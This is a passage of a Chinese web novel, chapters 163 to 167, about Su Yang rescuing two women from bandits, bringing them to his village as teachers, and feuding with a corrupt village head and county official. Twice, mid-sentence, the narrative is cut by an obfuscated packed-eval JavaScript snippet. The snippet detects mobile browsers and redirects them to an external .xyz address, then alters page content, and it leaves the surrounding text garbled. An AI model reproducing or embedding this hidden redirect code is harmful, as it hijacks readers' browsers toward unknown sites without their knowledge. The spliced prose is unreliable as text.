苏阳一时语塞,不知道该怎么解释。总不能说自己是故意的吧? “那是在救人!你们以为我愿意啊?我那是……那是迫不得已!” 苏阳越说越激动,声音也越来越大。 两个小妹妹沉默不语,只是齐刷刷地朝苏阳翻了个白眼。 “这俩小姑娘,看着娇滴滴的,还挺难缠……” 苏阳心里暗自嘀咕。 “哼,你们知道什么?要不是我……我用了家传秘法,你们家小姐早就……早就没命了!” 苏阳决定换个说法。 “家传秘法?” 两个小丫头面面相觑。 “没错!我跟你们说,我可是……我可是有真本事的人!我刚才……刚才那是……那是用内力给她续命!” 苏阳越说越顺溜。 “内力续命?” 翠环将信将疑。 “没错!就是内力续命!你们以为我是谁?我可是……我可是……算了,跟你们说了你们也不懂!” 苏阳摆出一副高深莫测的样子。 “切,谁稀罕知道!” 翠环撇了撇嘴。 “总之,我救了你们家小姐,这是事实!你们不感谢我就算了,还……还这么对我,真是……真是好心没好报!” 苏阳越说越委屈。 “小公子,你别生气,我们……我们真的不知道……” 钱晓柔连忙道歉。 “哼,算了算了,跟你们说不清楚!” 苏阳摆了摆手。他心想:跟两个小丫头片子较劲,真是越活越回去了。 “我跟你们说,我可是……我可是……南海观音菩萨座下的……座下的……反正很厉害就是了!”苏阳开始胡诌。他手底下那帮小子,一个个听得眼睛都直了。 “观音菩萨座下?” “真的假的?” “阳哥儿平时就神神叨叨的,说不定真是!” “那他刚才给那位小姐……那叫什么来着?哦,对,内力续命!那得多少内力啊?” “不知道,反正很厉害就对了!” “嘘,小声点,别让阳哥儿听见了!” “……” 苏阳听着手下人的议论,心里那叫一个得意。 “看来我这‘善财童子’的名头,算是打响了!” “小虎,那个……善财童子,不是佛家的吗?内力……好像是道家的功夫吧?这……这怎么解释?” 就在苏阳得意忘形的时候,钱晓柔弱弱地提出了自己的疑问。 苏阳:“……”“佛曰不可说,道法自然,懂?” 苏阳双手一摊,脸上写满了“孺子不可教也”。 他摇了摇头, 一副高深莫测的样子: “跟你们这些小丫头讲这些,真是……夏虫不可语冰。” 顿了顿, 他清清嗓子, 决定给这俩丫头上一课, “今儿个就给你们长长见识:” “天地玄黄,宇宙洪荒,日月盈昃,辰宿列张……” 他抑扬顿挫,摇头晃脑, 嘴里蹦出一串又一串的词儿。 这些词儿, 单个儿拎出来, 似乎都挺有学问, 可连在一起…… 就纯属胡诌了。 钱晓柔和翠环交换了一个眼神, 都从对方眼中看到了茫然。 虽说她们识文断字, 可也没听过这种奇谈怪论。 偏偏苏阳那副“世人皆醉我独醒”的模样, 又让她们心里犯嘀咕。 莫非…… 眼前这个不按常理出牌的小虎, 真有什么过人之处? 就在俩丫鬟被忽悠得七荤八素的时候, 陈木生带着几个小子, 急匆匆地跑了过来: “阳哥儿,妥了!” 他指了指挖好的大坑, 做了个“请”的手势。 苏阳满意地点点头, 大手一挥: “都给埋了!” 咚!咚!咚! 伴随着一阵沉闷的落地声, 尸体被接二连三地扔进坑里。 “呀!官差!” 翠环突然惊叫一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16073598|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色刷白。 钱晓柔也吓得不轻, 这才发现, 几具尸体中, 居然有两个穿着官差服饰! 苏阳的眼角抽了抽。 他就知道, 女人都是麻烦精! 早知道这样, 就该让她们在铺盖卷里多待会儿。 不过转念一想, 那样的话, 那位赵小姐怕是要一命呜呼了。 “慌什么?” 苏阳瞪了她们一眼, “**一家,没听过?” 钱晓柔冰雪聪明, 一点就透: “小虎,官府和土匪沆瀣一气,我们回去……怕是凶多吉少。” 她声音微微颤抖, 显然是怕极了。 苏阳也犯了难。 按江湖规矩, 救人救到底。 可这俩丫头…… 知道的太多了! 万一她们回去后走漏了风声, 说出自己杀了官差的事, 那乐子可就大了! 自己这身行头, 太容易辨认。 苏阳有些后悔, 让手下人都穿一样的棉布衣, 简直是此地无银三百两。 况且, 青虎岭的土匪已经盯上了她们。 把她们送回去, 等于把她们往火坑里推, 天知道还会发生什么事。 “这样,” 苏阳眼珠一转, 计上心来: “我救你们,可是耗费了元气。说吧,怎么赔?” “赔?” 翠环愣住了, 圆睁杏眼, 一脸的难以置信: “还要赔?” “那当然!” 苏阳理直气壮, “救命之恩,无以为报。总得给点补偿吧?” 他开始漫天要价。 “我……” 翠环一时语塞。 她从未见过如此厚颜无耻之人。 “要不……等回去了,我跟老爷说,让他好好谢谢您?” 她试探着问道。 苏阳果断摇头: “不妥!” 他斩钉截铁地说, “万一你们说话不算数呢?” “再说了,我跟你们家老爷素未谋面,谁知道他是什么样的人?” “要是他赖账,我找谁说理去?” “这……” 翠环彻底没辙了。 她求助地看向钱晓柔。 钱晓柔却一声不吭, 只是盯着苏阳。 “要不…… 第一百六十三章 以身相许?” 翠环犹豫着, 小声嘀咕。 苏阳一个趔趄, 差点没站稳。 “停停停!” 他连忙制止, “你们都想到哪儿去了?” “我是说,让你们帮我做点事!” 他没好气地说, “这样,你们俩,去我那儿,教孩子们读书识字,三个月,就当是报恩了!” 苏阳终于图穷匕见。 他早就盘算好了。 现在还不是放她们回去的时候。 官差**, 青虎岭的财物被劫, 这事儿, 牵扯太大。 必须确保万无一失。 至于这两个丫头…… 就当是废物利用了。 翠环想都没想, 张口就要拒绝。 她只想赶紧带着小姐回家。 可钱晓柔却比她冷静。 她从苏阳的眼神中, 看出了不容置疑。 这事, 怕是没得选。 这小虎看着年纪不大, 杀起人来, 却眼都不眨。 真要惹恼了他, 后果不堪设想! “小虎……” 钱晓柔定了定神, 轻声说道: “我们姐妹可以答应,不过,有言在先。” 她顿了顿, “您得保证,不能对我们……那个……” “哪个?” 苏阳故意逗她。 钱晓柔羞得满脸通红, 几乎说不出话来。 “想什么呢!” 苏阳不耐烦地摆摆手, “我对你们没兴趣!” 他哼了一声, “我家娘子,比你们可强多了!” “你……” 两个丫头气得直跺脚, 银牙紧咬。 哪个女子不在意自己的容貌? 更何况, 还是被苏阳这样的小虎贬低。 简直是可忍, 孰不可忍! “走着瞧!” 两个丫头暗暗发誓, 非要见识见识苏阳口中的“娘子”, 到底有多美! 苏阳见她们不再言语, 这事板上钉钉了。 弄回去也好, 省得浪费粮食。 听口音, 就知道她们识文断字, 正好给自己那帮手下启蒙。 不光学文, 还得习武! 乡下的熊孩子, 一个都不能落下! 文武双全, 才是硬道理! 苏阳越想越得意。 “等会儿!” 他突然想起一事, 连忙叫住正要填土的众人, “把那几个……官差,给我拖出来,还有用处!”“清阳县那个贪官,竟敢暗算青虎岭的爷爷,你们等着,必须砍下你的脑袋!” 几个小子听令,把两个衙役和三个泼皮捆了个结实,吊上树。 苏阳寻了块还算平整的树干,大刀挥舞,刻下一行字。 不远处,翠环和钱晓柔俩丫头挤在牛车边上,看得眼睛都直了,小嘴张得能塞个鸭蛋。 “都仔细着点,再查一遍,看看还有没有落下的!” 苏阳收起刀,拍了拍手,语气轻松。 在他看来,这不过是顺手而为的小事。 只是,该做的防备,还是得做。 万一留下什么马脚,被人顺藤摸瓜找上门来,可就麻烦了。 “是,阳哥儿!” “明白!” 几个小子应了一声,猫着腰,在林子里又转悠起来。 有人嘴上答应得痛快,心里却在犯嘀咕。 “切,还济富童子呢,胆子比咱们还小……” “嘘,小点声,想挨揍啊?” …… “阳哥儿,你看这是啥?” 周阳从一棵树后边绕出来,手里捏着一支**矢,箭头还闪着寒光。 这支**矢,扎在树干老高的地方,不抬头仔细瞅,还真看不见。 苏阳的脸,刷的一下就黑了。 他最烦的,就是有人不听指挥,自作主张。 “谁射的?啊?我平时咋交代的?人均射出几箭,心里没数吗?找不回来要报告,都当耳旁风了?” “超……阳哥儿,是……是我……” 人群后头,传来一个有气无力的声音,带着明显的颤音。 苏阳回头一瞧,是二小子。 这倒霉孩子,肩窝上还插着一支箭呢,正疼得直抽抽。 “你……” 苏阳张了张嘴,想训斥几句,可看着二小子那副惨样,又把话咽了回去。 “算了,这次饶了你。记着,下次再疼,也得给我长点记性!除非你直接晕过去,听见没?” “听……听见了……” 二小子头垂得更低了,恨不得找个地缝钻进去。 “都听好了啊,二小子这是特殊情况!下回谁再敢给我马虎,可别怪我不客气!” 苏阳提高了嗓门,声音在林子里回荡。 …… 另一边,牛车旁。 “小姐,你看,小公子发火的样子好吓人啊……” 翠环扯了扯钱晓柔的袖子,小声咬耳朵。 钱晓柔回手 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别的先不说,光是那一挂马车,就值回票价了。 当然,马车本身倒在其次,关键还是车上那两个…… 咳咳,关键是车上的那几口大箱子! 苏阳一想到那几口箱子,嘴角就忍不住往上翘。 里头装的,可都是真金白银啊! 他粗略估摸了一下,少说也得有个万把两! 这可比他之前辛辛苦苦,东奔西跑,赚的那点辛苦钱,强太多了! …… 清阳县,药王街。 济世堂药铺的后院,静悄悄的。 钱福生坐在太师椅上,手里捏着一张纸条,眉头紧锁。 他对面站着一个半大小子,正是之前卖蜜饯给苏阳的孙玉哥。 “赵老爷,您看这……” 孙玉哥搓着手,一脸的局促不安。 钱福生放下纸条,抬眼看着他: “说吧,只要你说的靠谱,少不了你的好处。” 他顿了顿,又补充了一句: “我赵某人在清阳县,说话还是算数的。” 孙玉哥咽了口唾沫,鼓起勇气: “赵老爷,我不知道您家小姐在哪儿,我已经查到是谁绑走了她……” “哦?你知道是谁?” 钱福生的声音不高,却带着一股不容置疑的威严。 孙玉哥不敢隐瞒,一五一十地把自己看到的事情,都说了出来。 第一百六十四章 “那天,我正好从您家后巷经过,看到有几个人,赶着一辆马车,停在您家前庭院墙外头……” “有个人在墙根下看着马车和动静,另外几个……翻墙进去了……” “你可认得他们?” 钱福生打断了他的话,声音冷冽。 “认……认得……” 孙玉哥的声音越来越小,几乎听不见。 “是凤子楼那个大胖子新近收留的几个亲眷……” “熊麻山?” 钱福生的眼中,闪过一丝寒光。 他万万没想到,竟然是这个老东西! 之前,熊麻山就托人来提过亲,想让自己女儿给他做小。 被自己严词拒绝之后,竟然还贼心不死,使出这种下三滥的手段! 真是岂有此理! 钱福生越想越气,恨不得立刻冲到凤子楼,把熊麻山**万段。 可他知道,现在还不是冲动的时候。 当务之急,是先找到女儿。 “你,跟我走一趟。” 钱福生站起身,对孙玉哥说道。 “去……去哪儿?” 孙玉哥吓得一哆嗦,脸色煞白。 “去县衙!” 钱福生冷冷地说道: “我要让熊麻山那老东西,付出代价!” 孙玉哥一听这话,差点没瘫在地上。 他可不想掺和到这种事情里头来。 可钱福生是什么人? 他一句话,就能让自己在清阳县,甚至整个玉溪郡都混不下去。 “赵老爷,我……我能不能不去啊?” 孙玉哥的声音,带着哭腔。 “不去?” 钱福生冷笑一声: “你觉得呢?” 孙玉哥彻底绝望了。 他知道,自己这次是彻底栽了。 早知道,就不该贪图那点小便宜! “只要你能帮我找到女儿,我再赏你纹银百两!” 钱福生的声音,再次响起。 “一百两?” 孙玉哥猛地抬起头,眼睛里闪过一丝亮光。 人为财死,鸟为食亡。 有了这一百两银子,大不了离开清阳县,找个没人认识的地方,重新开始! “好!我去!” 孙玉哥咬了咬牙,终于下定了决心。消息像长了翅膀一样,瞬间传遍了整个青龙村。 “苏二那小子又发财了!” “这次可不得了,牛车马车都置办上了!” “还有两头牛,三匹马!啧啧,这排场,比地主老财都阔气!” …… 村头的大银杏下,一群人围在一起,七嘴八舌地议论着。 苏二进城,就跟变戏法似的,**都能带回来一堆让人眼红的好东西。 可这次最让村民们咋舌的,不是那些金贵的牲口,而是苏二带回来的两个姑娘。 那俩姑娘,一个赛一个的水灵,简直就像画里走出来的一样。 “瞧见没?那个穿红袄的,叫翠环,身段可真够味儿!” 一个庄稼汉咂摸着嘴,眼睛都看直了。 “可不是嘛,那小腰,那屁股,一看就是个好生养的!” 旁边的人附和着,语气里充满了猥琐。 “那个穿白裙的呢?是哪家的千金小姐?” 有人指着钱晓柔问道。 “切,千金小姐?我看八成是苏二从哪儿拐来的!” “就是,一看就娇滴滴的,肩不能挑,手不能提,娶回家当祖宗供着吗?” “要我说,还是翠环那样的好,看着就带劲!” …… 在这些面朝黄土背朝天的村民眼里,钱晓柔这种“城里小姐”,远不如翠环来得实在。 钱晓柔的美,对他们来说,就像天上的月亮,好看是好看,却够不着,摸不着。 这种女人,只能远观,不能亵玩。 真要娶回家,那可真是娶了个活祖宗,一家老小都得跟着喝西北风。 “苏二这小子,真是走了狗屎运!” “谁说不是呢,前些日子还穷得叮当响,现在都快赶上赖志成那老抠了!” “听说他跟土匪有勾结,该不会是抢了土匪的钱吧?” “嘘,小声点,这话可不能乱说!” …… 村里的男人们议论纷纷,各种猜测都有。 女人们则聚在一起,对翠环和钱晓柔评头论足。 “哎呦,你们看那个翠环,那小模样,真是狐媚子!” “可不是嘛,一看就不是个安分的主儿!” “那个赵小姐,看着倒是清纯,可谁知道骨子里是什么样的?” “哼,男人就喜欢这种调调,一个个都没安好心!” …… 这些平日里围着锅台转的婆娘们,一个个酸溜溜的,话里话外都透着一股子嫉妒和鄙夷。 在她们看来,翠环和钱晓柔就是两个“妖精”,专门来勾引男人的魂儿。 “苏二哥,你太过分了!” 人群外,王婉苏气得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16080979|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直跺脚,眼泪都快下来了。 “苏二哥,你不是说你只喜欢绮娘妹妹吗?” “你怎么能……你怎么能带别的女人回来?” 王婉苏紧紧地咬着嘴唇,声音都有些颤抖。 一旁的王婶,脸色也阴沉得吓人。 她一把拉住王婉苏,低声说道: “婉苏,别在这儿丢人现眼了!跟我回去!” “我不!我要去问问他,他到底是什么意思!” 王婉苏挣扎着,不肯离开。 “你给我回来!” 王婶不由分说,硬是把王婉苏给拽走了。 与她们的激动不同,林绮娘只是默默地站在人群后面,眼睛红红的,像一只受了惊的小兔子。 她不敢上前,也不敢说话,只是紧紧地盯着苏阳,眼神里充满了不安和委屈。 “二哥……” 林绮娘轻声呢喃着,声音低得几乎听不见。 她心里乱糟糟的,像是有无数只蚂蚁在爬。 她不知道苏阳为什么会带这两个女人回来,也不知道这两个女人会对她造成什么样的威胁。 她只知道,自己很害怕,害怕失去苏阳。 而此时的苏阳,正焦头烂额地应付着另外两家人。 褚勇和二小子挂了彩,一个大腿被射了一箭,一个肩膀被蹭了一下。 两家人哭天喊地,闹个不停。 苏阳被吵得一个头两个大。 他最烦的就是这种场面,可又不能不管。 “都给我住口!” 苏阳猛地一拍大腿,大声吼道: “哭哭啼啼的,像什么样子?!” “我告诉你们,这次出去,每个人都有赏钱!” “没受伤的,十两银子!受伤的,二十两!” 苏阳的声音,像一道惊雷,瞬间震住了所有人。 哭声停止了,吵闹声也消失了。 所有人都瞪大了眼睛,张大了嘴巴,一副不敢相信的样子。 “啥?赏钱?” “十两?二十两?!” “天爷啊,这是真的吗?” …… 短暂的寂静之后,人群瞬间沸腾了。 “阳哥儿,您真是活菩萨啊!” “阳哥儿,您的大恩大德,我们没齿难忘!” “阳哥儿,以后您就是我们的再生父母,我们一定给您立长生牌位!” …… 褚勇和二小子的家人,更是激动得涕泪横流,直接跪倒在地,给苏阳磕起了头。 第一百六十五章 他们做梦也没想到,苏阳竟然会给这么多赏钱。 要知道,当初招人的时候,可是签了生死文书的。 就算出了人命,苏阳也可以不管不顾。 可现在,苏阳不但给了钱,大方送了一堆。 这简直就是天大的恩情啊! “苏二,你给我站住!” 就在这时,一个尖锐的声音突然响起。 人群自动分开一条路,一个中年汉子怒气冲冲地走了过来。 “你小子,又去招惹那些杀千刀的土匪了是不是?!” “你是不是想害死我们全村人?!” 来人正是村正赖志成。 他指着苏阳的鼻子,破口大骂。“村正这是打哪儿来啊?” 苏阳明知故问,笑眯眯地拦住了赖志成的去路。 不用看,光听那公鸭嗓,就知道是村正赖志成那老东西。 赖志成气势汹汹,几步跨到苏阳面前,手指头几乎要戳到苏阳的鼻尖上: “苏二,你个小兔崽子,又去招惹土匪了?” 他故意提高了嗓门,好让周围的村民都能听见。 “瞧瞧你们这一个个的,身上都带着血,还有俩伤号!”赖志成指着苏阳身后的人,唾沫阳子横飞,“这不就是在挑衅山大王,啥叫招惹?” 他心中暗喜,苏二啊苏二,这回总算让老子抓到把柄了! “村正这话说的,”苏阳不慌不忙,伸手挡开了赖志成的手指,“咱遇上土匪不假,可不是咱招惹的。” “要说招惹,那也是你大儿子卓麻招惹来的。”苏阳微微侧身,目光扫过赖志成身后,语气里带着一丝玩味。 他话锋一转,突然提高了音量:“卓村正,咱们还没跟你清算呢,你倒送上门来了!” “要不是因为卓麻,村里的道路能被堵住?二小子和褚勇能躺在担架上?”苏阳眼神如刀,死死盯着赖志成,“这事,你得给个说法!” “你……你……”赖志成没想到苏阳竟然偷换概念,一时间竟然不知道该如何反驳。 他憋了半天,才红着脸吼道:“你胡咧咧!分明是你们先惹恼山匪,还想赖我们父子头上?” 苏阳冷笑一声,后退半步,朝身后一众小子使了个眼色: “兄弟们,别跟这老东西废话。乡亲们都在这儿看着呢,大家伙说说,青虎岭的山匪究竟是否冲着姓赖的而来?” “没错,阳哥儿说的对,那些土匪张口就喊着卓麻的名字!”二小子第一个站了出来,扯着嗓子喊道,仿佛声音越大就越有理。 “我听得真真的,他们说卓麻和他们是一伙的,要带他们来抢咱们村!”褚勇也捂着伤口,声音嘶哑,却异常坚定。 “村正,你居然还敢指责我们?先管好你自己吧!” …… 这些日子,跟着苏阳出生入死,这帮小子早已今非昔比。 他们七嘴八舌,义愤填膺。 虽说有人是瞎编,可巧了,还真有人说中了。 赖志成本以为,这些人都是苏阳一伙的,肯定向着他说话。 可一听这话,他的脸色“唰”地一下就白了! 他额头上的青筋突突直跳,后背冷汗直冒,心里像是十五个吊桶打水——七上八下。 坏了,这事儿怎么传出去了?苏二他们真遇上青虎岭的土匪了? 只见赖志成面如土色,嘴唇哆嗦,苏阳心头一紧。 以这老东西的厚脸皮,别说这帮小子,就是全村人指着鼻子骂他,他都不会这么失态。 今天这是怎么了? 肯定是有人说中了他的要害! 苏阳心中冷笑,面上却不动声色。他再次逼近赖志成,声音低沉而冰冷: “姓赖的,别装傻!你说,你为啥要和土匪合伙算计乡亲们?” “我……我没有,你……你血口喷人……”赖志成慌了神,眼神闪躲,说话也结结巴巴。 实锤了! 苏阳只是试探,就炸出了赖志成的秘密。 好你个赖志成,果然和土匪有一腿! 不过,赖志成果然老奸巨猾,不等苏阳深究,他强压下心头慌乱,深吸一口气,努力让自己看起来镇定一些。 “苏二,你别胡说八道!有证据就拿出来!”他瞪着苏阳,色厉内荏地吼道,“没证据就别瞎咧咧,乡亲们又不傻,谁信你!” 苏阳没再纠缠。 捕风捉影的事情,说多了反而对自己不利。众目睽睽之下,总不能把这老东西抓起来拷问,他到底是一村之长。 “哼,姓赖的,做了什么自己心知肚明,”苏阳冷哼一声,目光扫过围 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那可是一大笔钱啊! 要是当初自己也跟着进城,现在手里也能攥着沉甸甸的银子了! 苏阳安抚了伤员家属,又把赖志成气走了,终于有时间来处理家里的事情。 他把留守的几个小子叫到跟前,发现他们一个个无精打采,垂头丧气的。 苏阳是谁?一眼就看穿了他们的心思。 他站在牛车旁,清了清嗓子,拍了拍手,示意大家安静。 “我知道你们在想什么,”苏阳的声音洪亮而清晰,“留守的兄弟们,辛苦了!” 他顿了顿,环视了一圈,提高了声音: “这次出去,多亏了你们守家,才能让咱们没有后顾之忧!” “这样,凡是留守的兄弟,每人赏银五钱!不多,但也是我的一点心意!” “啥?五钱银子?” “苏二哥没说胡话吧?” 人群中顿时响起了一阵低低的惊呼,像是一滴水落入了油锅,瞬间沸腾起来。 虽说只有五钱,可对这些穷苦出身的小子们来说,已经是一笔不小的数目了。 第一百六十六章 他们中的大多数人,一年到头也见不到几钱银子。 苏阳这一下子就赏了五钱,简直比做梦还让人不敢相信! 而且,这还只是留守的赏钱,那些跟着出去的,岂不是更多? 想到这里,那些原本还有些失落的小子们,顿时精神焕发,一个个挺直了腰板,脸上露出了兴奋的光芒。 他们看着苏阳,眼神中充满了感激和敬佩。 苏阳没忘了他们,还肯定了他们的付出! 苏阳看着他们兴奋的样子,满意地点了点头。 赏罚分明,才能服众,这是他从系统那里学到的管理经验。 虽然**系统是从哪儿学来的,但不得不说,还真挺管用。 “对了,绮娘,”苏阳的目光落在人群中的林绮娘身上,“你过来一下。” 林绮娘正满脸崇拜地看着苏阳,听到苏阳叫她,赶紧小跑着过来。 “二哥,啥事?” “你去给那两个小娘……咳咳,姑娘帮忙安顿一下落脚处……”苏阳差点又说漏了嘴,赶紧改口。 他本想活跃一下气氛,开个玩笑,谁知话还没说完,林绮娘的脸色就变了。 她一把抓住苏阳的胳膊,眼泪“唰”地一下就流了下来: “二哥,你是不是不要我了?我以后都听你的话,再也不任性了,你别让她们进咱家门好不好?”“二哥,你……你是不是嫌弃我了?” 林绮娘紧紧攥着苏阳的衣角,力气大得指节都发白了。泪珠子断了线似的往下滚,小脸皱成一团,像是要把这些年的委屈都哭出来: “我……我以后再也不跟你犟嘴了,你别不要我,成不?让她们进门,我……我可咋活啊?” 小丫头抽泣着,单薄的身子骨儿微微打颤,看着让人心疼。 周围看热闹的村民们也跟着起哄: “苏二,你小子行啊!这才几天好日子,就嘚瑟上了?” “带俩漂亮小娘子回来,你让绮娘咋办?” “苏二,咱可不能做那陈世美,绮娘对你可不赖!” “你要是真看不上绮娘了,把她让给我家那傻小子,好歹给娃找个后娘!” “滚一边去!就你家那歪瓜裂枣,也配得上绮娘?” “……” 乱糟糟的议论声跟开了锅似的,嗡嗡地直往苏阳耳朵里钻。 他“腾”地一下站起来,眼睛瞪得跟牛蛋似的,在人群里来回扫视: “谁?!” “哪个不开眼的王八蛋,敢惦记老子的女人?!” “有种站出来!” 苏阳气得直跳脚,可瞅了半天,也没瞅见是哪个龟孙子在背后放冷箭。 这帮家伙,就会瞎起哄。真要找茬,一个比一个怂。 “绮娘你瞎哭啥?谁告诉你她们是来给我当媳妇的?” 苏阳赶忙蹲下身子,手忙脚乱地给林绮娘擦眼泪: “她们是来教书的!教咱村里娃儿们读书识字,懂不?” “你这小脑袋瓜里,一天到晚都想些啥?” “轰——” 人群一下子炸开了锅,像是被扔进了一颗闷雷。 正哭得稀里哗啦的林绮娘也傻眼了,眼泪还挂在眼角,要掉不掉的。 所有人都懵了。 过了好一会儿,大伙儿才回过神来,七嘴八舌地嚷嚷开了: “啥?苏二刚才在叨叨啥?那俩小娘子……是来教书的?” “我的耳朵没出毛病吧?” “乖乖,苏二这是祖坟冒青烟了吧?能请来这么俊的先生教咱这帮泥腿子?” “这得是多大的善心啊……” “……” 青龙村的人,祖祖辈辈都是地里刨食的庄稼人。 别说读书了,连镇上书院的大门朝哪儿开都不知道。 可越是没见过世面,越是敬重读书人。 现在听说自家娃儿也有机会读书识字,谁还管得了那些闲事? 别说苏阳亲口说不纳妾了,就算真把那俩小娘子娶进门,大伙儿也得竖起大拇指夸他有本事! 读书人的事儿,那能叫事儿吗? 林绮娘也呆呆地望着苏阳,眼里的泪水还没干透: “二哥,你……你说的当真?” 声音里透着一股子不敢相信的劲儿。 那么两个水灵灵的小娘子,二哥竟然能忍住不动心? 就为了让她们给村里那帮小皮猴们启蒙? 这……这是多大的情操啊! 林绮娘感觉自己心里头,像是有火山爆发了似的,翻江倒海。 对苏阳的敬佩,简直比决了堤的洪水还猛。 脑瓜子嗡嗡的,一片混乱。 可再乱,也只能硬着头皮信了。 不然呢? 难不成真要跟二哥闹和离? 那还不如一头撞死算了 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恨不得找个老鼠洞钻进去。 不过,听着村民们那些明显带着羡慕的议论,俩小丫头心里又有些得意。 还时不时地拿眼角余光去扫苏阳。 哼,土包子,没见过世面! 刚才还说我们不好看,不稀罕? 这会儿知道我们的好了吧? 瞧把你这些乡亲们给馋的! 眼珠子都快掉到我们身上了! 除了苏阳,俩小丫头还时不时地偷看林绮娘。 那眼神,又是轻蔑,又是挑衅。 这就是你吹上天的小娘子? 也没啥特别的嘛! 哪点能跟我们姐妹比? 林绮娘穿的,是最最普通的麻布衣裳。 虽然是苏阳特意从镇上买回来的棉布料子做的,可款式早就落伍了。 跟钱晓柔身上那件光鲜亮丽的丝绸裙子比? 一个在天上,一个在地下! 就连翠环这个小丫鬟,穿戴都比林绮娘强不少。 再看林绮娘头上,孤零零一根铜钗子,连个花儿都没有。 哪像钱晓柔,秃生上的首饰,就值好几两银子! 第一百六十七章 在翠环和钱晓柔眼里,林绮娘不过是个乡野村姑,根本没法跟她们相提并论。 当然,要是不论穿戴打扮,只看模样,林绮娘倒也不比钱晓柔差。 可这年头,谁出门不得好好捯饬捯饬? 人靠衣装马靠鞍,这话可不是随便说说的! 但苏阳跟她们想的可不一样。 看多了后世那些用化妆品堆出来的“美女”。 苏阳反而更喜欢林绮娘这种素面朝天的样子。 啥叫出水芙蓉? 啥叫天生丽质? 这就是了! 越是纯天然,苏阳就越觉得稀罕。 …… 清阳县。 县衙。 东街药铺的钱掌柜,跟凤子楼的肥掌柜,就差没在公堂上打起来了。 “姓庞的,你别跟我耍无赖!” 钱掌柜指着肥掌柜的鼻子,唾沫阳子都快喷到他脸上去了: “我闺女就是被你家那帮‘亲戚’给劫走的!你有种就让他们出来,咱们当堂对质!你要是敢做不敢认,我跟你拼了!” 肥掌柜脖子一梗,死活不认: “少血口喷人!我压根就没见过你家闺女!你再胡说八道,小心我告你诽谤!” 钱掌柜气得浑身发抖: “行,行,行!你不认是吧?那把你家最近来的那些所谓的‘亲戚’都给我叫出来!咱们当着大老爷的面,把话说清楚!你要是敢玩猫腻,老子跟你没完!” 肥掌柜眼皮一翻,根本不理他这茬: “你算哪根葱?你说叫我就叫?那我多没面子!” 其实,肥掌柜心里比谁都想把那些所谓的“亲戚”给揪出来。 最好是当场按倒,让衙役们把他们都抓进大牢! 可他不敢啊! 他那几个宝贝儿子,还在青虎岭上“享福”呢。 他要是敢搞事情,就算他能保住这条老命,几个儿子也别想囫囵个儿地回来了! 眼睁睁看着这么好的机会,就这么从眼皮子底下溜走。 肥掌柜急得直跺脚,可又毫无办法。 郑县尉坐在堂上,也是一个头比两个大。 这俩人,在清阳县都是响当当的大人物。 平时抬头不见低头见的,谁也不好得罪。 可眼下这事儿,又不能不管。 总不能让他们在这儿吵出个好歹来吧? 就在郑县尉左右为难的时候,钱福生悄悄凑了过去。 神不知鬼不觉地,往他手里塞了两锭金元宝。 郑县尉眼睛瞬间就亮了,脸上的愁苏惨雾也一扫而空。 他咳嗽一声,语气也变得和颜悦色起来: “庞掌柜啊,这事儿呢,咱们得讲究个以和为贵。钱掌柜丢了闺女,心急如焚,咱们得体谅。大家都是一个县里的,要互帮互助嘛。你就委屈一下,把你那些‘亲戚’都请来,跟钱掌柜见个面,让他放宽心。你说对吧?” 肥掌柜在心里把郑县尉的祖宗八辈都骂了个遍。 放屁! 你个狗官,收了人家的**,就昧着良心说话! 这不明摆着欺负老实人吗? 肥掌柜也想给郑县尉送礼。 可他现在,比乞丐还穷。 别说金银了,连个铜子儿都摸不出来! 醉墨书生顾明远那可真是个狠角色,不光占了他的产业,绑了他的家人,还把他洗劫一空,让他彻底断了活动的念想。 郑县尉是清阳县的父母官,他发了话,肥掌柜就是再不情愿,也只能打落牙齿和血吞。 黑着脸,派了两个伙计回去“请人”。 说是伙计,其实就是青虎岭上的土匪,是顾明远派来盯梢他的。 让土匪去找土匪来公堂上对质? 这不是天大的笑话吗? 顾明远压根就不搭理他们。 还想把老子的弟兄们弄到衙门里去?白日做梦! 结果派出去的人,就跟泥牛入海似的,一去不回。 郑县尉等得花儿都谢了,也没见着半个人影。 气得差点没背过气去!郑县尉的脸色阴沉得能滴下水来,仿佛下一秒就要火山爆发。肥掌柜则像被霜打了的茄子,蔫头耷脑,冷汗涔涔而下,一句话也说不出来。 他灵机一动,朝剩下的两个“手下”使了个眼色,示意他们赶紧回去通风报信。 这回倒是没再掉链子,顾明远也反应过来,跟官府对着干无异于以卵击石,只好随便派了几个小喽啰去应付一下。 钱福生家的下人一看这架势,顿时就不乐意了。 都是药王街的老邻居,谁家有几口人,谁家养了几条狗,还能不清楚?< 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肥掌柜一张老脸皱成了苦瓜,嘴巴咧得老麻,心里头那叫一个百感交集,比吞了黄连还难受。 他既希望郑县尉能把顾明远这帮土匪给一网打尽,以绝后患,还怕独子遭遇不测,落得个晚年凄凉的下场。 …… 与此同时,肥掌柜家后院的暖阁里,又是另一番天地。 顾明远正过着醉生梦死的日子,他搂着肥掌柜新纳的几房小妾,饮酒作乐,好不逍遥自在。 自从来到这清阳县,顾明远就感觉自己像是掉进了蜜罐里,什么山珍海味,什么绫罗绸缎,什么美酒佳人,全都应有尽有。 肥掌柜这些年搜刮了不少民脂民膏,养的小妾也是一个赛一个的水灵,随便挑出一个,都能让那些没见过世面的庄稼汉看花了眼。 